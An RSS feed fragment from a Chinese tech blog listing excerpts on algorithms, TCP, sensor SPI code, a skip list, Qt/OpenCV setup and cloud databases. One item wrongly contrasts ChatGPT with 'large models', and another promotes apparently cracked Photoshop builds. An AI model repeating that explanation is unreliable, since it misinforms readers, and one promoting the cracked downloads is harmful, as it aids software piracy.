      <description>其他系列文章导航 Java基础合集&#xA;数据结构与算法合集&#xA;设计模式合集&#xA;多线程合集&#xA;分布式合集&#xA;ES合集&#xA;文章目录 其他系列文章导航&#xA;文章目录&#xA;前言&#xA;一、题目描述&#xA;二、题解&#xA;2.1 前缀和的解题模板&#xA;2.1.1 最长递增子序列长度&#xA;2.1.2 寻找数组中第 k 大的元素&#xA;2.1.3 最长公共子序列长度&#xA;2.1.4 寻找数组中第 k 小的元素&#xA;2.2 方法一：前缀和&#xA;三、代码&#xA;3.2 方法一：前缀和&#xA;四、复杂度分析&#xA;4.2 方法一：前缀和&#xA;前言 这是力扣的 724 题，难度为简单，解题方案有很多种，本文讲解我认为最奇妙的一种。&#xA;这是一道非常经典的前缀和问题，虽然看似简单，但它却能让你深入理解前缀和的特点。&#xA;一、题目描述 给你一个整数数组 nums ，请计算数组的 中心下标 。&#xA;数组 中心下标 是数组的一个下标，其左侧所有元素相加的和等于右侧所有元素相加的和。&#xA;如果中心下标位于数组最左端，那么左侧数之和视为 0 ，因为在下标的左侧不存在元素。这一点对于中心下标位于数组最右端同样适用。&#xA;如果数组有多个中心下标，应该返回 最靠近左边 的那一个。如果数组不存在中心下标，返回 -1 。&#xA;示例 1：&#xA;输入：nums = [1, 7, 3, 6, 5, 6] 输出：3 解释： 中心下标是 3 。 左侧数之和 sum = nums[0] + nums[1] + nums[2] = 1 + 7 + 3 = 11 ， 右侧数之和 sum = nums[4] + nums[5] = 5 + 6 = 11 ，二者相等。 示例 2：</description>
    </item>
    <item>
      <title>数字孪生在能源电力行业的技术难点和应用场景</title>
      <link>https://bchobby.github.io/posts/30dfdcf77592e794eb8a60e31444c812/</link>
      <pubDate>Thu, 28 Dec 2023 11:14:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30dfdcf77592e794eb8a60e31444c812/</guid>
      <description>数字孪生的关键技术&#xA;数字孪生技术架构包括物理空间、数字空间和信息处理三个部分，基于物联网和虚拟仿真的底层技术，实现了真实空间和虚拟空间之间的双向数据交换、指挥控制和虚拟现实联动，以满足这些需求，必须依靠五项关键技术。&#xA;一是智能传感技术，高精度、高灵敏度的传感监测系统是实现数字孪生的基础，是万物互联的入口，虚拟电网到物理电网的全息复制和动态调整依赖于实时传感技术；&#xA;二是异构通信技术数字孪生系统面临多系统、大连接、海量数据的双向传输需求，需要利用5g等新型异构网络技术实现高速、大容量、低延迟接入，从而保证物理电网中海量传感器的接入要求和虚拟电网中精确控制指令的传输要求；&#xA;三是数字模型技术电网数字模型的描述反映了物理电网的要素构成、运行动态和决策影响，是从实到虚的数字孪生的结果，是从虚到实的基石；&#xA;四是数据中心技术数字孪生模型的构建和自优化依赖于整个区域内的全量电网数据只有通过数据中心才能实现大规模、全量多源数据的安全存储和高效读取，为数字双平台的优化决策提供了良好的数据元素；&#xA;五是围绕电网数字模型和加载在模型上的多元数据集，运用人工智能技术和机器学习、深度学习等机器智能算法识别物理电网的自组织隐序和隐模式，推理学习复杂的操作规律和未知关系，实现辅助决策能力。&#xA;电力行业应用场景&#xA;一是电网状态可视化监测应用，基于数字孪生技术，对电网主要设备、厂房、车站及环境进行精细三维全景模拟，实现与采集数据的实时交互，通过部署在工厂和车站的视频网络和传感器网络，可以动态融合和显示仿真场景中的设备和关键传感数据，实时反馈和分析环境变化；&#xA;二是电网设备远程智能巡检应用，利用物联网的智能传感技术对多个关键测点进行监控，不仅可以提高巡检效率，还可以节省人工成本；&#xA;三是远程故障诊断与辅助决策的应用目前，电网各环节的监测数据尚未统一集中发送到国家电网总部，省级公司无法全面收集其管辖范围内的设备信息，因此，为了实现远程故障诊断，可以通过全面的数据调用和专家组的集中决策，大大提高故障诊断和后续处理的及时性和准确性；&#xA;第四，电网智能预警和状态检修的应用在过去的实际生产中，大多数管理者根据现有经验判断设备异常和故障，这种主观认识不能通过对设备运行数据的实时监测，准确反映设备状态的变化，提出对设备运行状态的智能评估、预警和预防措施，以防止危及系统和设备的严重故障，这也有利于科学合理地制定维修计划；&#xA;第五，应用电网设备仿真培训，通过三维动画演示进行电力系统维护指导和培训，不断提高维护人员的技术水平；&#xA;六是安全运行控制的应用，通过与三维空间位置信息相结合，实现人员、设备、车辆的安全运行控制。</description>
    </item>
    <item>
      <title>卷积神经网络 反向传播</title>
      <link>https://bchobby.github.io/posts/87e1d4271f4d0b8aacf0628ffad3209c/</link>
      <pubDate>Thu, 28 Dec 2023 11:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87e1d4271f4d0b8aacf0628ffad3209c/</guid>
      <description>误差的计算 softmax 经过softmax处理后所有输出节点概率和为1&#xA;损失（激活函数） 多分类问题：输出只可能归于某一个类别，不可能同时归于多个类别。&#xA;误差的反向传播 求w的误差梯度&#xA;权值的更新 首先是更新输出层和隐藏层之间的权重。更新权重，我们首先需要知道损失梯度，损失梯度实际上是损失根据所需要的更新的权重求偏导，而要求解这个偏导，我们要通过链式法则来求解。成功求解损失梯度后，要通过梯度下降的方法来更新我们的权重。这里的损失梯度前面的系数，我们称之为学习率，直观意义去理解实际上就是步长。&#xA;这个参数是我们人为调整的，但是学习率不宜过大，也不易过小。过大可能会导致损失无法收敛，过小可能会导致损失收敛的速度过慢，或者会陷入局部最优解的问题中。因此学习率我们不能随意取值，需要通过后续不断地迭代，来获取最优学习率。&#xA;接着我们需要进一步更新我们的隐藏层和输入层之间的权重，对于这里的损失梯度，我们同样是通过链式法则得到损失梯度的表达式，过程基本与前面保持一致。但是这里有两个注意点，第一，这里通过链式法则最后得到的损失梯度的结果会用到我们前面更新过的权重，所以说反向传播的顺序是不可逆的。第二，对与隐藏层和输入层之间权重的更新是多个损失项更新的叠加。通过上述的推到过程，我们可以求得我们所需的损失梯度，得到损失梯度后，通过梯度下降，我们可以得到隐藏层和输入层之间更新后的权重。&#xA;至此，我们已经完成了通过误差的反向传播实现了一次完整的权重的更新。后面的过程就是在正向传播更新输出，然后再反向更新权重，循环迭代，直到损失收敛或者是达到设定的迭代次数，一次神经网络的训练完成。&#xA;优化器 使网络更快地得到收敛</description>
    </item>
    <item>
      <title>PAW3395传感器记录</title>
      <link>https://bchobby.github.io/posts/56de437303e4566b3144f115dd1b8e96/</link>
      <pubDate>Thu, 28 Dec 2023 11:11:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56de437303e4566b3144f115dd1b8e96/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言一、查看数据手册二、SPI通信1.解析2.上代码 三、运动判断四、输出数组五、步骤总结 前言 paw3395&#xA;一、查看数据手册 首先，可以看到power on 需要做的步骤是7步&#xA;按照步骤区写寄存器即可。&#xA;可以让chatgpt帮忙写这些重复性的行为。&#xA;例如：&#xA;Write register Ox10 with value Ox20&#xA;Write register Ox20 with value Ox30&#xA;Write register Ox30 with value Ox40&#xA;帮忙 建立以下表格：&#xA;static PAW3395_REG_VALUE_T gst_additional_data[] = {&#xA;{0x10,0x20},&#xA;{0x20,0x30},&#xA;{0x30,0x40}&#xA;};&#xA;二、SPI通信 通过SPI接口读取鼠标的寄存器值&#xA;1.解析 函数接受三个参数：寄存器地址、数据缓冲区指针和要读取的数据长度。&#xA;在函数内部，首先将SPI的片选信号设置为低电平，以使得鼠标芯片能够与主控芯片进行通信。然后，使用spi_hw_s_write_byte函数向鼠标的寄存器地址发送数据，并使用spi_hw_s_read_byte函数读取寄存器的值，将其存储到数据缓冲区中。最后，延时5微秒，将SPI片选信号设置为高电平，完成一次寄存器读取操作。&#xA;2.上代码 spi_hw_read(0x6C,(k_uint8 *)&amp;amp;reg_value,1); //向寄存器地址0x6c读,读到存储在变量reg_value里面 void spi_hw_read(k_uint8 uc_reg_addr,k_uint8 *puc_data, k_uint8 uc_data_len) { //k_uint8 uc_read_register = uc_reg_addr; gpio_write(SPI_CS_PIN,0);&#x9;spi_hw_s_write_byte(uc_reg_addr); for (k_uint8 cnt = 0; cnt &amp;lt; uc_data_len; cnt++) { *puc_data++ = spi_hw_s_read_byte(); } time_delay_us(5); gpio_write(SPI_CS_PIN,1);&#x9;} 三、运动判断 #define K_BIT_MASK(i) (1ul &amp;lt;&amp;lt; (i)) #define PMW3325_MOTION_MASK (K_BIT_MASK(7)) if(!</description>
    </item>
    <item>
      <title>跳跃表原理及实现</title>
      <link>https://bchobby.github.io/posts/135acbb33559d3829e158678d6cd5954/</link>
      <pubDate>Thu, 28 Dec 2023 11:10:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/135acbb33559d3829e158678d6cd5954/</guid>
      <description>一、跳表数据结构 跳表是有序表的一种，其底层是通过链表实现的。链表的特点是插入删除效率高，但是查找节点效率很低，最坏的时间复杂度是O(N)，那么跳表就是解决这一痛点而生的。&#xA;为了提高查询效率，我们可以给链表加上索引，利用二分查找的思路，每两个节点抽取一个索引，根据数据规模，提升索引的高度，索引的最高层级为logN,那么跳跃表支持平均0 (1ogN)，这样可以快读提高节点访问速度。由于在原始链表的基础上加索引，这些索引需要额外的存储空间，所以这是典型的通过空间换时间。下图简单描述跳跃表原理：&#xA;如果要访问8这个歌节点元素，在没有索引的情况下，需要遍历链表8次才能找到目标节点，但是通过跳表访问(1 -&amp;gt; 5 -&amp;gt; 7-&amp;gt; 7-&amp;gt;7 -&amp;gt; 8) ,只需要访问6次，数据规模越大优势越明显。&#xA;对于提取索引，理论上每隔两个元素生成一个索引节点，但是在具体情况下，链表是动态的，删除和增加节点的时机很难确定，通过两个节点维护索引的方式开销成本很大。那么如何添加索引，一个新增节点要不要加索引，索引加到第几层，为了解决这个问题，可以通过投掷硬币的方式（随机数模2），连续投掷正面几次，那么这个次数就是索引的层级。&#xA;二、跳表代码实现 1、跳表结构、操作函数声明 #ifndef SKIPLINKLIST_H__ #define SKIPLINKLIST_H__ #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;stdbool.h&amp;gt; #include &amp;lt;time.h&amp;gt; #include &amp;lt;math.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #define MAX_LEVEL 8 //定义数据域 typedef int SkipLinkListData; typedef struct skiplinklistnode { int level; SkipLinkListData data; struct skiplinklistnode* next; struct skiplinklistnode* down; } SkipLinkListNode; /** * 创建链表节点 */ SkipLinkListNode* create_skiplinklist_node(SkipLinkListData data,int level); /** * 插入节点 */ void insert_skiplinklist_node(SkipLinkListNode* head,SkipLinkListData data); /** * 维护索引 */ void create_skiplinklist_index(SkipLinkListNode** index,SkipLinkListNode* node); /** * 随机数投硬币获取索引层高 */ int random_skiplinklistnode_level(); /** * 遍历跳表 */ void show_skiplinglistnode_all(SkipLinkListNode* head); /** * 查询节点 */ SkipLinkListNode* search_skiplinklistnode(SkipLinkListNode* head,SkipLinkListData data); /** * 删除跳表元素 重组索引 s * 删除的过程其实也是查找 */ void delete_skiplinklistnode(SkipLinkListNode* head,SkipLinkListData data); #endif 2、跳表增删查操作定义 #include &#34;</description>
    </item>
    <item>
      <title>【概念】大模型与ChatGPT/SaaS、PaaS和IaaS</title>
      <link>https://bchobby.github.io/posts/875b10291255604fcab30872d7c72b23/</link>
      <pubDate>Thu, 28 Dec 2023 11:10:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/875b10291255604fcab30872d7c72b23/</guid>
      <description> 大模型与ChatGPT区别 大模型与ChatGPT是人工智能领域中的两个重要概念，它们之间有一些联系，也有一些区别。 大模型是指大规模的深度学习模型，通常包含数十亿甚至更多参数，需要大量的计算资源和 训练数据来进行训练。大模型的优点是可以处理复杂的任务，例如图像识别、语音识别、 自然语言处理等，但同时也需要更高的计算资源和更长的训练时间。 ChatGPT是一种基于自然语言处理的机器学习模型，主要用于实现自然语言对话系统。它通过 对大量文本数据进行分析和学习，能够理解人类语言的语法、语义和上下文信息，并生成符合 人类表达习惯的回答。ChatGPT在对话系统领域的应用非常广泛，例如智能客服、智能助手等。 虽然大模型和ChatGPT都是深度学习领域的重要概念，但它们的应用领域和侧重点有所不同。 大模型主要用于图像、语音等领域的复杂任务处理，而ChatGPT主要用于自然语言对话系统的 实现。此外，大模型的参数数量更大，需要更高的计算资源和训练时间，而ChatGPT则更注重 对人类语言的处理和理解。 总之，大模型和ChatGPT是人工智能领域中的两个重要概念，它们在应用领域和侧重点上有所不同。 虽然它们的技术原理有一定的联系，但它们的发展方向和应用场景各有特点。 SaaS、PaaS和IaaS SaaS、PaaS和IaaS是云计算服务中的三个重要概念，可以理解为这栋楼的三部分。 SaaS（Software-as-a-Service）即软件即服务，是一种将软件部署在云端，通过网络提供 给用户使用的服务模式。用户通过Web浏览器可以实现相同的功能并拥有访问数据的能力，而 软件的维护和管理则由服务商负责。SaaS在多个领域都有应用，例如企业资源规划（ERP）、 客户关系管理（CRM）、人力资源管理等。 PaaS（Platform-as-a-Service）即平台即服务，是一种将软件的开发、部署和管理作为一种 服务提供给用户的服务模式。用户可以通过云服务提供商提供的开发工具和环境来开发、部署和 管理应用程序，而不需要自行购买和维护开发环境所需的基础架构。PaaS的优点在于用户可以快 速地开发和部署应用程序，并且能够快速地迭代和改进应用程序。 IaaS（Infrastructure-as-a-Service）即基础设施即服务，是一种将计算基础架构作为一种 服务提供给用户的服务模式。用户可以通过云服务提供商提供的虚拟机、存储、网络等资源来部 署自己的应用程序，而不需要自行购买和维护这些基础设施。IaaS的优点在于用户可以灵活地扩 展自己的应用程序，并且可以根据自己的需求来选择和配置基础设施资源。 总的来说，SaaS、PaaS和IaaS各有特点和优势，适用于不同的应用场景和需求。用户可以根据 自己的需求选择合适的服务模式来满足自己的业务需求。 </description>
    </item>
    <item>
      <title>TCP中的三次握手和四次挥手</title>
      <link>https://bchobby.github.io/posts/3587c4a8369d851d516fd508b0b055f2/</link>
      <pubDate>Thu, 28 Dec 2023 11:09:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3587c4a8369d851d516fd508b0b055f2/</guid>
      <description>TCP中的连接和断开可以说是在面试中经常被问到的问题之一，正好有空就总结一下，首先回顾一下TCP的相关知识点&#xA;1. TCP的基础知识 1.1 TCP的基本概念 我们知道TCP是运输层的面向连接的可靠的传输协议。面向连接的，指的就是在两个进程发送数据之前，必须先相互“握手”，确保两进程可以进行连接。并且这个传输是点对点的，即一个TCP连接中只有一个发送方和接收方；可靠的，指的是在任何网络情况下，在TCP传输中数据都将完整的发送到接收方。&#xA;1.2 TCP的报文段结构 源端口和目的端口：和UDP一样用于多路复用/分解来自或送到上一层&#xA;序号：一个报文段的序号是整个传送的字节流序列，而不是该报文段的序列&#xA;确认号：主机正在等待的数据的下一个字节序号&#xA;数据偏移：指TCP首部的长度，可变。默认长度为20字节&#xA;窗口：用于流量控制，用于指示接收方愿意接受的字节数量&#xA;标志字段：&#xA;ACK：当该位为1时，确认号有效RST：该位为1时，表示TCP连接中出现异常必须强制断开连接SYC：该位为1时，开始建立连接，并且序号字段进行序列号初始值的设定FIN：该位为1时，断开连接，通信双方相互交换FIN位置为1的TCP段后断开连接 2. TCP连接 2.1 什么是连接(connection)和会话(Session) 连接是数据传输双方的契约，在设计上，连接是一种传输数据的行为，具体来说，数据收发双方的内存中都建立一个用于维护数据传输状态的对象，比如TCP 的连接组成包括一台主机上的缓存、变量和与进程连接的套接字，以及另外一台主机上的缓存、变量和与进程连接的套接字。（由端口号和IP地址组成）所以连接是网络行为状态的记录&#xA;而会话是应用的行为，比如说你在微信上给人发消息，打开应用聊天窗口和对方聊天是一个会话，但是连接只有在进行发消息、语音的时候连接才开启。其他不发消息和语音时，连接可能暂时断开，但是只要不关聊天窗口，会话时一直存在的。&#xA;总结而言，会话是应用层的概念，连接是传输层的概念，正是因为如此，在 TCP 连接的时候需要握手建立连接。&#xA;3. TCP连接建立 3.1 TCP 协议中的基本操作 也就是报文段的标志字段的含义和功能：&#xA;SYN(Synchronization)：请求同步，一个 Host 主动向另外一个 Host 发起连接。当 SYN=1，ACK=0 时，表示这是一个请求建立连接的报文段；当 SYN=1，ACK=1 时，表示对方同意建立连接PSH(Push): 数据推送，一个 Host 主动向另外一个 Host 发送数据FIN(Finish): 请求完成，一个 Host 主动断开请求,如果 FIN=1，表示数据已经发送完成，可以释放连接。ACK：表示前面的确认号字段是否有效。ACK=1 时表示有效。只有当 ACK=1 时，前面的确认号字段才有效。TCP 规定，连接建立后，ACK 必须为 1RST：表示是否重置连接。如果 RST=1，说明 TCP 连接出现了严重错误（如主机崩溃），必须释放连接，然后再重新建立连接。 如图，开始时，两个端口都是出于closed状态，当服务器端口变成listen时，监听端口，是否有数据传来。&#xA;第一步：客户端向服务端发送一个特殊的TCP报文段。客户端进入SYN_SENT状态这个报文段有以下特点：&#xA;不包含应用层数据，封装在一个IP数据报中发送给服务器SYN为1（此步是ACK唯一可为0处，其他时间均为1）序号段有一个随机生成的初始序号（client_isn） 第二步：服务器端收到上步客户端的报文段后，同时为该TCP连接分配TCP缓存和变量，并向该客户发送允许连接的报文段。服务器进入SYN_RCVD状态，这个报文段特点有：&#xA;不包含应用层数据SYN为1，ACK为1确认号段被置为client_isn + 1，序号段被置为server_isn 第三步：客户端收到上步服务端的报文段后，客户端为该连接分配缓存和变量，同时客户端向服务器端发送报文段，这个报文端特点有：&#xA;可以包含应用层数据SYN为0，ACK为1确认号段被置为server_isn + 1 两端进入ESTABLISHED状态，连接建立</description>
    </item>
    <item>
      <title>MS2358：96KHz、24bit 音频 ADC</title>
      <link>https://bchobby.github.io/posts/04d259ad452ad25c67ce2106a9062e52/</link>
      <pubDate>Thu, 28 Dec 2023 11:09:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04d259ad452ad25c67ce2106a9062e52/</guid>
      <description> 产品简述 MS2358 是带有采样速率 8kHz-96kHz 的立体声音频模数 转换器，适合于面向消费者的专业音频系统。 MS2358 通过使用增强型双位 Δ - ∑ 技术来实现其高精度 的特点。 MS2358 支持单端的模拟输入，所以不需要外部器 件，非常适合用于像 DTV,DVR 和 AV 接收器的系统。 主要特点  线性相位抗混叠数字滤波器  单端输入  带失调电压消除的数字高通滤波器  信噪失真比： 85dB  动态范围： 95dB  信噪比 : 95dB  采样速率： 8kHZ 到 96kHz  主时钟： 256fs/384fs/512fs (8kHz ~ 48kHz) 256fs/384fs (48kHz ~ 96kHz)  主机 / 从机模式  音频接口： I2S  电源： 4.5~5.5V 模拟， 2.7~5.5V 数字  温度范围 -20-85 ℃  DFN12 封装 应用  DVD 录音机  数字 TV  CD 录音机 </description>
    </item>
    <item>
      <title>OSError: We couldn‘t connect to ‘https://huggingface.co‘ to load this file, couldn‘t find it in the</title>
      <link>https://bchobby.github.io/posts/3e0e07d9d3c1c7300932f2013149569b/</link>
      <pubDate>Thu, 28 Dec 2023 11:04:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e0e07d9d3c1c7300932f2013149569b/</guid>
      <description>OSError: We couldn&#39;t connect to &#39;https://huggingface.co&#39; to load this file, couldn&#39;t find it in the 问题描述解决方案一个警告 问题描述 OSError: We couldn&#39;t connect to &#39;https://huggingface.co&#39; to load this file, couldn&#39;t find it in the cached files and it looks like distilbert-base-uncased-finetuned-sst-2-english is not the path to a directory containing a file named config.json. Checkout your internet connection or see how to run the library in offline mode at &#39;https://huggingface.co/docs/transformers/installation#offline-mode&#39;. 这个其实就是模型再国外，服务器无法访问到国外的模型，需要将模型下载到本地&#xA;解决方案 将下面的模型文件下载后，放在一个文件夹中</description>
    </item>
    <item>
      <title>Qt&#43;Opencv：Qt中部署opencv</title>
      <link>https://bchobby.github.io/posts/8ba1ad42f49758fe5da8fdd6c4a22893/</link>
      <pubDate>Thu, 28 Dec 2023 11:02:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ba1ad42f49758fe5da8fdd6c4a22893/</guid>
      <description>一、获取opencv 本文先只介绍opencv-release版本的获取方式，如果有版本指定编译工具链需求的朋友，可以通过下载opencv的源码，使用cmake进行编译。&#xA;获取地址：https://opencv.org/releases/&#xA;注意：opencv-3.x.x的release版本是支持vc14-15的，opencv-4.x.x需要vc16以上版本支持&#xA;本系列仅作为研究学习，我们选择下载：opencv-3.4.16 windows版本，支持 vc14_vc15。&#xA;下载后文件解压目录如下：&#xA;我们直接打开bulid 目录：&#xA;include 、x64 和bin 目录是我们一会在Qt项目中需要的。很显然哈，官方的release版本果然只有64位的dll,如果采用32位编译工具链的朋友，自己配置编译下吧，也很简单。后面有需要，我们可以再出一篇专门讲解opencv保姆级源码编译的教程。话说博主还是很喜欢编译各种源码，貌似过往的博文里包含的编译江湖已经不下几十篇了。毕竟授人以鱼不如授人以渔。&#xA;二、在Qt中集成opencv 2.1 新建一个Qt项目 在pro中添加opencv头文件路径和库文件路径&#xA;QT += core gui greaterThan(QT_MAJOR_VERSION, 4): QT += widgets CONFIG += c++11 # The following define makes your compiler emit warnings if you use # any Qt feature that has been marked deprecated (the exact warnings # depend on your compiler). Please consult the documentation of the # deprecated API in order to know how to port your code away from it.</description>
    </item>
    <item>
      <title>展现无限创意的Photoshop 2023 Mac/win中文版：打造您的独特艺术之旅</title>
      <link>https://bchobby.github.io/posts/3f4c20653b5f98ae4d3d4e1791810a23/</link>
      <pubDate>Thu, 28 Dec 2023 10:27:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f4c20653b5f98ae4d3d4e1791810a23/</guid>
      <description>无论您是摄影师、设计师还是艺术家，Photoshop 2023（ps 2023）都是您不可或缺的创意工具。最新升级的Photoshop 2023带来了更多令人兴奋的功能和改进，让您能够以前所未有的方式展现无限创意。&#xA;首先，Photoshop 2023拥有强大的图像编辑工具。您可以通过调整色彩、对比度、曝光等参数，精确地控制照片的外观和氛围。此外，借助于先进的修饰工具，您可以轻松去除瑕疵、添加特效和调整细节，让您的照片更加出色和精致。&#xA;其次，Photoshop 2023提供了丰富的创意特效和滤镜。无论是为照片增加艺术效果还是创建独特的图形设计，您都可以通过一键式操作，快速地应用预设或自定义的特效，实现您的创意想法。&#xA;另外，Photoshop 2023还具有智能对象和图层样式功能，让您能够轻松地管理和编辑复杂的设计项目。您可以随意调整图层的位置、改变样式和应用变形效果，实现更加精准和灵活的设计。&#xA;最重要的是，Photoshop 2023还与其他创意软件（如Illustrator和InDesign）紧密集成，让您能够无缝地在不同软件之间进行创作和编辑。不论是制作海报、设计标志还是创建复杂的插图，您都能够享受到高效和便捷的工作流程。&#xA;总之，Photoshop 2023是一款功能强大、操作简便的创意工具。无论您是初学者还是经验丰富的专业人士，它都能够帮助您展现独特的艺术风格和创意想法。立即下载Photoshop 2023，开始您的创作之旅，让您的作品与众不同！&#xA;Mac安装：Photoshop 2023 (ps 2023) for Mac v24.7正式激活版&#xA;Win安装：Adobe Photoshop 2023(PS2023)v24.7直装版+便携版</description>
    </item>
    <item>
      <title>托管在亚马逊云科技的向量数据库MyScale如何借助AWS基础设施构建稳定高效的云数据库</title>
      <link>https://bchobby.github.io/posts/7c75deb96edab7d9437d5a6ca8ddae8b/</link>
      <pubDate>Thu, 28 Dec 2023 10:27:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c75deb96edab7d9437d5a6ca8ddae8b/</guid>
      <description>MyScale是一款完全托管于亚马逊云科技，支持SQL的高效向量数据库。MyScale的优势在于，它在提供与专用向量数据库相匹敌甚至优于的性能的同时，还支持完整的SQL语法。以下内容，将阐述MyScale是如何借助亚马逊云科技的基础设施，构建出一个稳定且高效的云数据库。&#xA;什么是向量数据库&#xA;或许你尚未察觉，然而向量嵌入（vector embedding）实际上无处不在。它们构成了众多机器学习和深度学习算法的根基，被广泛运用于从搜索引擎到智能助手等各式各样的应用。机器学习与深度学习通常会把文本、图像、音频、视频等非结构化数据转化为向量嵌入的形式进行储存，并借由向量相似性搜索技术进行语义相关性搜索。基于向量的相似性搜索现如今已被大量应用于各类人工智能驱动的应用场景，包括图像检索、视频分析、自然语言理解、推荐系统、定向广告、个性化搜索、智能客服以及欺诈检测等。在这样的背景下，对向量数据的管理显得尤为重要，我们需要能够快速地储存、索引和搜索这些向量化的数据。&#xA;现存的向量数据库大体上可以分为两大类别。一类是专为向量设计的专有向量数据库产品，例如Pinecone、Weaviate、Qdrant、Chroma、Milvus等。另一类则是在通用的SQL或NoSQL数据库产品上进行扩展，其中最为人熟知的SQL数据库之一Postgres通过插件pgvector支持了向量索引和搜索；而包括ClickHouse、Redis、Elasticsearch和Cassandra在内的许多开源数据库近期都增加了对向量索引的原生支持。&#xA;人们通常认为，专有的向量数据库专门为向量检索设计，能够提供较佳的搜索性能。而支持向量搜索的通用数据库产品则依赖于原有的通用数据库，能够提供更为完善的数据管理和结构化数据查询能力，向量检索性能则有所损失。MyScale基于开源的在线分析处理（OLAP）数据库ClickHouse开发，集成了自主研发的多尺度树图（英文：multi-scale tree graph，缩写MSTG）向量索引算法。它不仅继承了ClickHouse卓越的结构化数据分析和查询能力，同时也提供了数倍于专有向量数据库的性价比，从而将两者的优势集于一身，给企业提供了统一的结构化和非结构化数据管理方案。&#xA;整体架构&#xA;MyScale是一款完全依托于亚马逊云科技云平台的数据库服务，其架构深度结合了亚马逊云科技的多元化产品线，包含了AWS EC2云端虚拟服务器、AWS EKS集群管理、AWS S3对象存储、AWS NLB负载均衡等。有赖于亚马逊云科技提供的强大底层设施，可迅速地构建出MyScale的云端服务产品。&#xA;如下图所示，MyScale云服务的架构设计包括全局控制平面（global control plane）、区域控制平面（regional control plane）以及区域数据平面（regional data plane）三个层次，每个层次对应一个Kubernetes集群。全局控制平面中部署了云服务的业务系统，负责组织、用户的管理以及整体的使用量统计等。每个区域对应一个云服务供应商的一个可用区，如AWS US-EAST-1。每个区域独立部署一个控制平面和多个数据平面。控制平面提供该区域内的集群管理（创建、停止、销毁）API以及计费系统，数据平面则运行用户启动的MyScale数据库集群，它们运行在同一个数据平面中的多个可用区。&#xA;MyScale的所有服务都部署在亚马逊云科技的托管Kubernetes服务EKS上。EKS提供了高度可用、安全及可扩展的Kubernetes环境，这使得MyScale可以充分利用Kubernetes的强大功能，如服务发现、负载均衡、自动扩缩容、安全隔离等。借助AWS EKS上的Cluster Autoscaler，MyScale可以根据用户工作负载的需求，快速地启动、停止和扩展实例，对EKS的节点池进行扩缩容。&#xA;为了保证用户集群之间的隔离，MyScale利用了Kubernetes的命名空间（namespace）特性。在数据平面中，用户创建的每个MyScale数据库集群对应Kubernetes中的一个命名空间，这样就可以最小化集群之间的相互影响。每个集群对应的命名空间中包含数据库节点、负载均衡服务和元数据存储服务。&#xA;用户在使用MyScale云服务时，可以通过运行在全局控制平面上的Web UI来创建和管理MyScale集群。用户在Web UI创建MyScale集群后，云服务的后端会调用相应区域控制平面中的接口，将MyScale数据库集群的具体参数和配置转成一个Kubernetes中的CRD资源配置文件，保存在该区域的控制平面中。对应的区域数据平面中运行的Cluster Manager会监听到区域控制平面中数据库集群CRD资源的变化情况，并做出相应的操作，在数据平面中创建或修改实际的MyScale数据库集群。在MyScale数据库集群启动后，用户可以通过Web UI、Python/Java/NodeJS客户端、HTTP接口以及包括Langchain和LlamaIndex在内的LLM应用框架来访问MyScale数据库。&#xA;选择配备基于NVMe的本地SSD盘的EC2实例来部署MyScale数据库。和大部分选择纯内存HNSW向量索引算法的向量数据库不同，MyScale自研的MSTG算法允许将向量数据缓存在本地NVMe SSD盘中，因此MyScale在为用户提供高性能的向量搜索的同时，大大节约了内存的使用。在亚马逊云科技的公开测试中，MyScale超过了Pinecone、Weaviate、Qdrant、Zilliz等专有向量数据库，提供了最佳的性价比（QPS per dollar）。&#xA;在部署MyScale云服务时，可以使用Crossplane来实现对亚马逊云科技上的EC2和EKS服务的部署和管理。首先，通过Crossplane的AWS Provider配置了对应的亚马逊云科技账户信息，使得Crossplane能够访问和操作亚马逊云科技资源。然后，定义EC2和EKS的YAML配置文件，通过这些文件，可以定义需要的服务器和Kubernetes集群的参数，如实例类型、集群大小等。通过应用这些配置文件，Crossplane的AWS Provider会调用AWS API来创建和配置这些资源。&#xA;不仅如此，Crossplane还能够定期同步这些资源的状态，可以通过Kubernetes的接口来监控和管理这些资源。当需要修改或删除这些资源时，只需要修改对应的YAML文件并重新应用，Crossplane就会自动完成对应的操作。通过使用Crossplane，能够以一种声明式、统一和自动化的方式来管理云资源，大大提升工作效率和准确性。&#xA;在数据安全方面，MyScale采用了Teleport，一种先进的远程访问管理系统。Teleport能够为开发者和运维人员提供通过密文连接安全地访问Kubernetes集群的能力。这不仅提升了系统的安全性，也提升了操作的便捷性。更重要的是，Teleport具有全面的审计功能，能够详细记录所有会话和事件，这对于进行安全分析和满足合规性要求非常有帮助。这就意味着可以对任何操作有完全的可视化，从而更好地控制和保护MyScale云服务系统，为用户提供安全可靠的服务。&#xA;小结&#xA;这篇文章介绍了MyScale，一个在亚马逊云科技上托管的向量数据库。MyScale基于开源的在线分析处理（OLAP）数据库ClickHouse开发，集成了自主研发的多尺度树图（MSTG）向量索引算法，可以提供优秀的数据管理和结构化数据查询能力，同时也提供了性价比突出的向量搜索功能，以及结构化和非结构化联合分析、处理的功能，可以被广泛应用于图像检索、视频分析、自然语言理解等AI驱动的场景。</description>
    </item>
    <item>
      <title>彻底解决VM ubuntu在虚拟机找不到网卡无法上网的问题</title>
      <link>https://bchobby.github.io/posts/57d5dc0f85cb13f02ffd3450eb957124/</link>
      <pubDate>Thu, 28 Dec 2023 10:26:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57d5dc0f85cb13f02ffd3450eb957124/</guid>
